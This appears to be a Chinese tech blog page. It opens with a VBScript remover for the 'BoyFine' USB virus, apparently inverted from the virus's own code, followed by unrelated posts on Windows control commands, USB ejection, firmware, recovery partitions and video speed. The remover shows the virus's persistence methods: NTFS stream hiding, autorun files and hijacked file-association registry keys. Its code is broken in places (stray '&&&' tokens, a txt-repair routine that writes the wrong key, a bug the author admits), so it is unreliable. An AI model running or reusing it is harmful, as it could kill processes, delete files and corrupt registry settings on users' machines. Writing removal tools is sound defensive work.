'Decrypted by FlowerCode[0GiNr] 'Operation Inversed by FlowerCode[0GiNr] 'http://www.0GiNr.com 'VBS.BoyFine Remover Version 1 '不要给偶乱起外号,我的中文名字叫暴风,我的英文名字叫BoyFine. -_- On Error Resume Next Dim Fso, WshShell Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT") Set WshShell = CreateObject("wScRipT.SHelL") Call Main Sub Main() On Error Resume Next Dim Args, VirusLoad, VirusAss Set Args = WScript.Arguments VirusLoad = GetMainVirus(1) VirusAss = GetMainVirus(0) Call VirusAlert Call MonitorSystem End Sub Sub MonitorSystem() On Error Resume Next Dim ProcessNames, ExeFullNames VBSFullNames = Array(GetMainVirus(1)) Do Call InvadeSystem(GetMainVirus(1), GetMainVirus(0)) Call KeepProcess(VBSFullNames) WScript.Sleep 3000 Loop End Sub Sub InvadeSystem(VirusLoadPath, VirusAssPath) On Error Resume Next Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version Load_Value = "%SystemRoot%\system\svchost.exe " & """" & VirusLoadPath & """" File_Value = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " %1 %* " IE_Value = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " OIE " MyCpt_Value1 = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " OMC " MyCpt_Value2 = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " EMC " HCULoad = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Load" HCUVer = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver" HCUDate = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date" VirusCode = GetCode(WScript.ScriptFullName) Version = 1 HostSourcePath = Fso.GetSpecialFolder(1) & "\Wscript.exe" HostFilePath = Fso.GetSpecialFolder(0) & "\system\svchost.exe" For Each Drive In Fso.Drives If Drive.IsReady And (Drive.DriveType = 1 Or Drive.DriveType = 2 Or Drive.DriveType = 3) Then DiskVirusName = GetSerialNumber(Drive.DriveLetter) & ".vbs" Call CreateAutoRun(Drive.DriveLetter, DiskVirusName) Call InfectRoot(Drive.DriveLetter, DiskVirusName) End If Next If Fso.FileExists(VirusAssPath) = True Or Fso.FileExists(VirusLoadPath) = True Or Fso.FileExists(HostFilePath) = True Then If GetFileSystemType(GetSystemDrive()) = "NTFS" Then Call SetHiddenAttr(HostFilePath) Call CreateFile(VirusCode, VirusAssPath) Call CreateFile(VirusCode, VirusLoadPath) Call CopyFile(HostSourcePath, HostFilePath) Else Call SetHiddenAttr(VirusAssPath) Call CreateFile(VirusCode, VirusAssPath) Call SetHiddenAttr(VirusLoadPath) Call CreateFile(VirusCode, VirusLoadPath) Call SetHiddenAttr(HostFilePath) Call CopyFile(HostSourcePath, HostFilePath) End If End If If ReadReg(HCULoad) = Load_Value Then Call DeleteReg(HCULoad) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\") = File_Value Then Call SetTxtFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\") = File_Value Then Call SetIniFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\") = File_Value Then Call SetInfFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\") = File_Value Then Call SetBatFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\") = File_Value Then Call SetCmdFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\") = File_Value Then Call SetRegFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\") = File_Value Then Call SetchmFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\") = File_Value Then Call SethlpFileAss(VirusAssPath) End If If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\") = IE_Value Then Call SetIEAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\") = IE_Value Then Call SetIEAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\") = MyCpt_Value1 Then Call SetMyComputerAss(VirusAssPath) End If If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\") = MyCpt_Value2 Then Call SetMyComputerAss(VirusAssPath) End If Call RegSet End Sub Sub CopyFile(source, pathf) On Error Resume Next If Fso.FileExists(pathf) Then Fso.DeleteFile pathf, True End If Fso.DeleteFile source, True End Sub Sub CreateFile(code, pathf) On Error Resume Next Dim FileText If Fso.FileExists(pathf) Then Set FileText = Fso.DeleteFile(pathf, True) End If End Sub Sub RegSet() On Error Resume Next Dim RegPath1, RegPath2, RegPath3, RegPath4 RegPath1 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue" RegPath2 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"&&& RegPath3 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun" RegPath4 = "HKEY_CLASSES_ROOT\lnkfile\IsShortcut" Call WriteReg(RegPath1, 2, "REG_DWORD") Call WriteReg(RegPath2, 1, "REG_DWORD") Call DeleteReg(RegPath3) Call WriteReg(RegPath4, "", "REG_SZ") End Sub Sub KeepProcess(VBSFullNames) On Error Resume Next For Each VBSFullName In VBSFullNames VBSProcessCount(VBSFullName) Next End Sub Function GetSystemDrive() GetSystemDrive = Left(Fso.GetSpecialFolder(0), 2) End Function Function GetFileSystemType(Drive) Set D = Fso.GetDrive(Drive) GetFileSystemType = D.FileSystem End Function Function ReadReg(strkey) Dim tmps Set tmps = CreateObject("WScript.Shell") ReadReg = tmps.RegRead(strkey) Set tmps = Nothing End Function Sub WriteReg(strkey, Value, vtype) Dim tmps Set tmps = CreateObject("WScript.Shell") If vtype = "" Then tmps.RegWrite strkey, Value Else tmps.RegWrite strkey, Value, vtype End If Set tmps = Nothing End Sub Sub DeleteReg(strkey) Dim tmps Set tmps = CreateObject("WScript.Shell") tmps.RegDelete strkey Set tmps = Nothing End Sub Sub SetHiddenAttr(path) On Error Resume Next Dim vf Set vf = Fso.GetFile(path) Set vf = Fso.GetFolder(path) vf.Attributes = 0 End Sub Sub Run(ExeFullName) On Error Resume Next Dim WshShell Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run ExeFullName Set WshShell = Nothing End Sub Sub InfectRoot(D, VirusName) On Error Resume Next Dim VBSCode VBSCode = GetCode(WScript.ScriptFullName)&&& VBSPath = D & ":\" & VirusName If Fso.FileExists(VBSPath) = True Then Call SetHiddenAttr(VBSPath) Call CreateFile(VBSCode, VBSPath) End If Set Folder = Fso.GetFolder(D & ":\") Set SubFolders = Folder.SubFolders For Each SubFolder In SubFolders SetHiddenAttr (SubFolder.path) LnkPath = D & ":\" & SubFolder.Name & ".lnk" TargetPath = D & ":\" & VirusName Args = """" & D & ":\" & SubFolder.Name & "\Dir""" If Fso.FileExists(LnkPath) = True And GetTargetPath(LnkPath) = TargetPath Then Fso.DeleteFile LnkPath, True End If Next End Sub Sub CreateAutoRun(D, VirusName) On Error Resume Next Dim InfPath, VBSPath, VBSCode InfPath = D & ":\AutoRun.inf": VBSPath = D & ":\" & VirusName If Fso.FileExists(InfPath) = False Or Fso.FileExists(VBSPath) = False Then Call SetHiddenAttr(VBSPath) Call CreateFile(VBSCode, VBSPath) Call SetHiddenAttr(InfPath) Call CreateFile(StrInf, InfPath) End If End Sub Sub SetTxtFileAss(sFilePath) On Error Resume Next Dim Value Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* " Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", "REG_EXPAND_SZ") End Sub Sub SetIniFileAss(sFilePath) On Error Resume Next Dim Value Value = "%SystemRoot%\system32\NOTEPAD.EXE %1" Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetInfFileAss(sFilePath) On Error Resume Next Dim Value Value = "%SystemRoot%\system32\NOTEPAD.EXE %1" Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetBatFileAss(sFilePath) On Error Resume Next Dim Value Value = """" & "%1" & """" & " %*" Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetCmdFileAss(sFilePath) On Error Resume Next Dim Value Value = """" & "%1" & """" & " %*" Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SethlpFileAss(sFilePath) On Error Resume Next Dim Value Value = "%SystemRoot%\winhlp32.exe %1" Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetRegFileAss(sFilePath) On Error Resume Next Dim Value Value = "regedit.exe " & """" & "%1" & """" Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetchmFileAss(sFilePath) On Error Resume Next Dim Value Value = """" & "%SystemRoot%\hh.exe" & """" & " %1" Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ") End Sub Sub SetIEAss(sFilePath) On Error Resume Next Dim Value Value = """%ProgramFiles%\Internet Explorer\IEXPLORE.EXE""" Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\", Value, "REG_EXPAND_SZ") Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\", Value, "REG_EXPAND_SZ") End Sub Sub SetMyComputerAss(sFilePath) On Error Resume Next&&& Dim Value1, Value2 Value1 = "explorer.exe /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" Value2 = "explorer.exe /n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}" Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\", "none", "REG_SZ") Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\", Value1, "REG_EXPAND_SZ") Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\", Value2, "REG_EXPAND_SZ") End Sub Function GetSerialNumber(Drv) On Error Resume Next Set D = Fso.GetDrive(Drv) GetSerialNumber = D.SerialNumber GetSerialNumber = Replace(GetSerialNumber, "-", "") End Function Function GetMainVirus(N) On Error Resume Next MainVirusName = GetSerialNumber(GetSystemDrive()) & ".vbs" If GetFileSystemType(GetSystemDrive()) = "NTFS" Then If N = 1 Then GetMainVirus = Fso.GetSpecialFolder(N) & "\smss.exe:" & MainVirusName End If If N = 0 Then GetMainVirus = Fso.GetSpecialFolder(N) & "\explorer.exe:" & MainVirusName End If Else GetMainVirus = Fso.GetSpecialFolder(N) & "\" & MainVirusName End If End Function Function VBSProcessCount(VBSPath) On Error Resume Next Dim WMIService, ProcessList, Process, ParentProcess, PPID VBSProcessCount = 0 Set WMIService = GetObject("winmgmts:\\.\root\cimv2") Set ProcessList = WMIService.execquery("Select * from Win32_Process Where " & "Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'") For Each Process In ProcessList If InStr(Process.CommandLine, VBSPath) > 0 Then PPID = Process.ParentProcessId Process.Terminate Set ProcessList = WMIService.execquery("Select * from Win32_Process Where " & "ProcessId=" & PPID) For Each ParentProcess In ProcessList ParentProcess.Terminate Next End If Next For Each Process In ProcessList If InStr(Process.CommandLine, VBSPath) > 0 Then Process.Terminate End If Next End Function Function GetTargetPath(LnkPath) On Error Resume Next Dim Shortcut Set Shortcut = WshShell.CreateShortcut(LnkPath) GetTargetPath = Shortcut.TargetPath End Function Function GetCode(FullPath) On Error Resume Next Dim FileText Set FileText = Fso.OpenTextFile(FullPath, 1) GetCode = FileText.ReadAll FileText.Close End Function Function GetVersion() Dim VerInfo VerInfo = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver" DeleteReg(VerInfo) End Function Sub VirusAlert() On Error Resume Next Dim HtaPath, HtaCode HtaPath = Fso.GetSpecialFolder(1) & "\BFAlert.hta" If Fso.FileExists(HtaPath) = True Then Call CreateFile(HtaCode, HtaPath) End If End Sub Function GetInfectedDate() On Error Resume Next Dim DateInfo DateInfo = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date" DeleteReg(DateInfo) End Function
如果你能看到这里,说明你是关心的。或者是中毒的。O(&_&)O
不过我要提醒一句,这个文档里有部分处理是有问题的,需要修改一下才对。具体修改我就不说了,重点提示一下,就是对txt文档修复的部分有点失误,不是大问题。
还要说另一个问题,就是这个病毒所隐藏的方法:NTFS流。
ntfs流已经有很多介绍的了,我这里只说一点,就是win7和win xp的管理是有很多不一样的。
1。win7的notepad对流支持非常好,可以任意操作而不出错。xp则逊之。
2。貌似win7不支持文件夹的流(即文件夹下直接:name.ext),至少不支持用户自己操作,至于编程能否实现,暂时未知。在xp里建立文件夹的流,到了win7下拷贝或解压缩,就找不到了。
3。win7貌似不支持流的直接运行,至少从用户操作来说。在xp下,可以直接运行流文件里的程序,而7下则出错。
说明win7对流的控制和执行更加严格,安全性更好。
Windows的命令列模式下有个非常好用的命令叫做Control。这个命令其实就是控制『控制台』的一个接口。你可以用这个命令直接叫起一些平常要找很久才会找到的窗口。你只要执行中输入命令参数就可以打开相应窗口。
以下列出一些网络上面找到的相关命令: &
命令参数
&
平台
&
说明
&
control admintools
&
2000/XP
&
开启『系统管理工具』窗口。
&
control desktop
&
95/98/ME/NT/2000/XP
&
开启『显示 内容』窗口。
&
control color
&
95/98/ME/NT/2000/XP
&
开启『显示 内容』窗口,并显示『外观』项目。
&
control date/time
&
95/98/ME/NT/2000/XP
&
开启『时间和日期 内容』窗口。
&
control folders
&
XP
&
开启『数据夹选项』窗口。
&
control fonts
&
95/98/ME/NT/2000/XP
&
开启『字型』窗口。
&
control infrared
&
95/98/ME/NT/2000/XP
&
开启『无线连结』窗口。
&
control international
&
95/98/ME/NT/2000/XP
&
开启『地区及语言选项』窗口。
&
control keyboard
&
95/98/ME/NT/2000/XP
&
开启『键盘 内容』窗口。
&
control mouse
&
95/98/ME/NT/2000/XP
&
开启『鼠标 内容』窗口。
&
control& netconnections
&
2000/XP
&
开启『网络联机』窗口。
&
control netware
&
2000/XP
&
开启『Netware』窗口。
&
control panel
&
2000/XP
&
开启『控制台』窗口。
&
control printers
&
95/98/ME/NT/2000/XP
&
开启『打印机和传真』窗口。
&
control schedtasks
&
2000/XP
&
开启『排定的工作』窗口。
&
control telephony
&
2000/XP
&
开启『位置信息』窗口。
&
control userpasswords
&
2000/XP
&
开启『使用者账户』窗口。
&
control userpasswords2
&
2000/XP
&
开启另一种『使用者账户』窗口。
此外,有一种扩展名为.cpl的档案。其实他就是各种在控制台内的工具。所以你可以透过
control xxx.cpl
这样的方式来开启该画面。sysdm.cpl 将打开系统属性小程序
Access.cpl:辅助功能选项
Appwiz.cpl:添加/删除程序
Desk.cpl:显示
Fax.cpl:传真向导
Hdwwiz.cpl:添加/删除硬件
Intl.cpl:区域语言选项
Joy.cpl:游戏控制器
Liccpa.cpl:许可
Main.cpl:鼠标
Mlcfg.cpl:邮件
Mmsys.cpl:声音和音频设备
Modem.cpl:电话和调制解调器选项
Ncpa.cpl:网络连接
Netcpl.cpl:网络和拨号连接
Nwc.cpl: Netware客户端连接
Odbccp32.cpl: ODBC数据源
Powercfg.cpl:电源管理
Sticpl.cpl:扫描仪和照相机
Sysdm.cpl:系统
Telephon.cpl:拨号规则和调制解调器
Timedate.cpl:日期和时间
拔u盘之前,遇到无法安全移除硬件的事情还是比较常见的。
一种是因为还有运行的程序在占用u盘上的文件,只需要关闭u盘上的程序或者被打开的文件即可。
一种是有软件正在占用u盘。比如杀毒软件或者qq之类偷看你u盘的软件。
一般使用unlocker这个软件,就可以看到正在暂用u盘的程序,并通过解锁来取消对u盘的占用,并安全移除。
但是也有unlocker看不到的情况,这个一般是驱动程序的缘故,我曾经遇到过intel主板驱动监测系统温度的软件会出现占用u盘的情况,进程里杀掉就能正常卸载了。
到底是什么在占用u盘,还有一个办法能看到。
右键点击我的电脑,并选择管理,左边点开系统事件查看器,windows日志,系统,然后看最近出现的黄色叹号,里边应该会告诉你哪个程序在占用着你的u盘。关掉即可操作安全删除硬件了。
不知道2007以后的版本是否已经解决了这个问题。
而且这个问题也一般不会遇到的。
但遇到了也很难受,知道了解决办法也很容易。
一般人都说,是不是字体变小了?是不是打开了下标?
有这个可能。
但还有一个可能,是word本身的bug,这个是从一个英文的回复中找到的,感谢其原作者。
解决的方法,就是把视图放大到500%,然后变回来,图标就恢复了。
很简单。只要你知道哪里画那个圈圈。
这个是个老毛病了。好几年了。
有段时间希捷笔记本硬盘出了相同的毛病。具体表现为:不定期出现一声滴或者唧的声音,随后系统停止反应,两三秒后系统恢复正常,没有任何的问题。但不定时后会再次发作。
这个毛病非常烦人,在于它极度影响正常工作。
网上可以搜到大量的相关信息,英语里叫做clicking sound.
解决办法是,要么换,要么自己修。
自己修并不难,但是有风险。就是要下载一个合适的固件firmware,然后更改硬盘固件即可。
这个折腾了我很久。比较倒霉,总是碰到硬件缺陷。第一次是三星彩虹管事件,我陪着销售店家等了一天才让他看到现象并给我换了一台,结果还是一样的毛病,几个月后大规模爆发,三星承诺免费修。第二次就是这个了。在售后服务中心耗了一天,也没让他看见现象。后来我没办法自己用电脑的录音机功能把声音录下来,才让修理工程师相信,并耗到确实亲眼见到才同意给我修。结果给我换了主板,没解决问题,第二次修换了硬盘才部分解决问题。结果就是新硬盘出现这个现象的频率较低,偶尔一次,忍了。直到两年后,突然又加重,于是决定自己解决问题。
网上建议的硬件一个是dell的,一个是联想的,还有hp的。大部分反馈都是用联想的解决了问题。我的是hp的本子,所以先和hp的比较,发现hp的版本比我的还老。于是试验了dell的和联想的,结果都是更糟,频率变得非常频繁。由于条件限制,没有存自己的原始固件,只好使用hp的固件,没想到反而好了。
所以结论就是,什么固件适合你,需要试了才知道。老版固件未必不好。最后:刷固件有风险,自己动手需谨慎。
待续。
时间原因,没有及时更新,结果过了更改期限。而且细节已经忘记了,只好大致说一下了。
其实这个并不是很难,就是有时候会遇到一些问题,解决不了。
以前买的电脑都有系统恢复光盘,这个很简单,后来很多机器不带光驱了,于是就开始在硬盘内分出一份空间来,作为隐藏的恢复分区。很多人为了节省空间,就把这块分区取消了,后来为了恢复这个分区,就需要做一些工作。
我这里要讲的是,在删除恢复分区前,把里边的内容给备份出来了的情况。
如果删除了里边的内容,有个别情况下,有些厂商(如dell)是提供恢复分区的镜像文件和程序,只需要运行程序即可恢复,很简单。否则只有找没有删除的人去要了。
如果已经有了镜像或备份文件,就可以自己手动恢复分区了。
我现在的经验是给hp电脑做恢复。
hp电脑的f11键运行恢复分区里的启动文件貌似是固化到bios里的,所以很简单,只要恢复了恢复分区里的文件,就能启动。但是,有一些需要注意的地方,否则虽然启动了恢复分区,但恢复过程中会出错。
首先说启动问题。
恢复分区里仍然是视窗的启动文件,vista以上的版本都是利用的win自己的镜像功能。所以都是启动一个预安装环境,就是winpe3.0,然后将镜像解包。如果f11键不是固化到bios里的,可以用bcdedit或者相关工具把恢复分区的启动文件加入到启动里并隐藏,并把快捷键f11链接到这个分区启动即可。这样就可以保证启动时按f11键可以进入到恢复分区启动。
其次是注意问题。
我的hp默认分区是三个,一个是主要分区,一个是备份分区,还有一个分区是中间的。在进入恢复程序后,如果想正常进行恢复,三个分区的分布很重要。网上有些信息说必须严格多大多小的分区空间,或者严格一致的分区名称,都是不对的。我曾经解包过其安装文件,其实对这些没有明确要求。但是由于程序设计问题,如果有些地方不对也是无法完成恢复的。首先三个分区都要有,格式可以是ntfs,大小只要足够放进去应该放的文件即可,恢复分区必须是最后一个分区。这个前提下,恢复程序才能自动进入到重新分区的部分。恢复程序会对前两个分区重新分区,否则会出错。然后,恢复分区前面的空间必须是整数个簇,否则会出错。我就是在这里耽误了很长时间,每次运行完恢复程序,都会在自动分区时出错,然后发现分区信息丢失。后来解包恢复命令才发现这个问题。这个很难发现因为一般恢复恢复分区时,都是用软件自动划分分区大小,很少注意簇是否是整数。
剩下就简单了,分区是对的,恢复分区能启动,就可以在启动时进入恢复程序,等待恢复程序重新分区并解压镜像,然后重启,就会发现系统和你刚买的时候一样了。
时间太长了,具体一些细节记不太清了,好在关键点还在。希望能对某些人能有帮助。
由于碰到一些事情,需要把视频的播放速度放慢,于是搜了一下如何使用免费软件进行改动。其实有很多收费软件可以做到这个事情,比如专业或不专业的是视频编辑软件,但既然免费软件可以做到这个,为什么不用呢?
据我不完全的调查结果,有几个办法可以做到。
笨办法一,使用免费软件VirtualDub。这个软件可以对视频进行一些处理,并且有大量的资料。但是不适合初学者。首先,为了打开视频,就需要额外做一些工作,以使软件能够识别视频格式,其次,保存视频也需要做一些下载和设置。
笨办法二,使用免费软件格式工厂对格式进行改变,然后结合VirtualDub或者微软自己的免费软件Movie Maker,编辑完成后再用格式工厂转化成自己想要的视频格式。缺点就是这两款软件默认的格式都是体积很大的,而且需要安装两款软件。不过就转换格式来说,我试用了几款免费软件,就支持的格式、界面整洁度及转化效果来看,还是格式工厂最佳。我曾经有个使用某设备录像得到的视频,使用freemake转化后看不到视频内容,使用暴风转码改变分辨率后整个图像变乱,只有使用格式工厂能得到最佳的结果。貌似免费软件狸窝也可以,但是广告太多,令人眼花。
笨办法三,使用格式工厂(实际上是Mencoder)。目前为止,格式工厂里是找不到设置视频速度的功能的。你可以试验改变帧速率,但是视频播放速度没有变化,只有帧数下降了。其实格式工厂很多的格式转换应该是依赖于免费软件Mplayer自带的Mencoder。不清楚有哪些格式是用的这个,看文件貌似还是有很多其他编码器的?没有细究。但是即使是收费软件Any Video Converter貌似也使用了Mencoder,因为有个设置视频速度的界面实际上就是设置Mencoder的参数。那么既然格式工厂里自带了Mencoder,那么就可以用上这一点,而不用重新下载Mplayer了。更重要的是,格式工厂里有很多的编码解码器,都是已经下载好的,而单独下载Mplayer则会缺乏一些编码解码包。Mencoder是命令行格式,所以需要自己手动输入,具体的格式需要自己看。不过如果你只是要把速度调慢或快,并且不要音频的话(因为音频变慢变快就难听了,另外配音不在本文讨论范围内,具体可以看Mencoder的使用说明),可以使用以下命令
mencoder -speed 1/4 input.avi -ovc copy -nosound -o output.avi
速度可以根据自己需要自己调节。这里是0.25。
我没有具体使用这个,所以不知道在高速时,帧速率过高会发生什么,有可能需要重新编码,使新视频的帧速降低,这个可以试,关键是工具。
其实格式工厂可以增加这个功能,并不难,不知道为什么没有增加。现在只有改变目标帧速的功能,但总时长不变。
笨办法四:使用avifrate。这个工具可以调节avi视频的帧速率,从而改变视频的速度。限制有二,首先是文件格式只能是avi格式的,其次不会对视频重新编码,所以如果你想提很高的速度,恐怕会被播放器拒绝,然后使用默认速度,调速就失败了。另外还有个问题就是它会直接修改目标视频,有可能会损坏文件,所以使用要慎重。一般情况下可以用格式工厂改格式为avi,然后用这个调节,然后在用格式工厂转换所需要的格式和目标帧速即可。适合新手。
暂时这些,如果有其他更方便的方法再添加。